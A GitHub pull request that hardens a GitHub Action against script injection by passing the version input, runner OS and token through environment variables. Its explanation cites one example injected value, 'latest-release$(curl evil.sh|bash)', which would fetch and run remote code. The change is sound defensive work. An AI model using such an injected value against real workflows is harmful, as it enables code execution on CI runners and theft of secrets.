Skip to content

Pass action inputs via env to prevent script injection - #18

Merged
imjasonh merged 2 commits into
imjasonh:mainfrom
amouat:harden-action-env
Jun 1, 2026
Merged

Pass action inputs via env to prevent script injection#18
imjasonh merged 2 commits into
imjasonh:mainfrom
amouat:harden-action-env

Conversation

@amouat

@amouat amouat commented Jun 1, 2026

Copy link
Copy Markdown
Contributor

What

Moves inputs.version, runner.os, and github.token out of inline ${{ }} interpolation in action.yml and into a step-level env: block, referencing them as quoted shell variables ("${VERSION}", "${RUNNER_OS}", "${GITHUB_TOKEN}").

Why

GitHub expands ${{ }} expressions into the script text before bash runs. With ${{ inputs.version }} spliced directly into a case statement and a URL, a crafted version input (e.g. latest-release$(curl evil.sh|bash)) would execute as shell code — a classic script-injection vulnerability. Passing values through env: makes bash treat them as inert strings. This is the hardening GitHub's own security docs recommend.

Moving github.token to env additionally keeps the secret out of the rendered script.

Behavior is unchanged.

Testing

  • shellcheck on the run: block — clean on the touched lines (only pre-existing info-level SC2086 quoting nits remain).
  • Injection test: VERSION='latest-release$(touch …)' is treated as a literal string — no command executed.
  • Real install: crane 0.21.6 downloaded, extracted, and added to GITHUB_PATH.

🤖 Generated with Claude Code

Move inputs.version, runner.os, and github.token out of inline ${{ }}
interpolation and into a step-level env block, referenced as quoted
shell variables. This closes the script-injection vector on the
attacker-controllable version input and keeps the token out of the
rendered script. Behavior is unchanged.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@amouat

amouat commented Jun 1, 2026

Copy link
Copy Markdown
Contributor Author

Apologies for the clanker, but the PR looks accurate.

@imjasonh
imjasonh merged commit 59c71e9 into imjasonh:main Jun 1, 2026
3 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants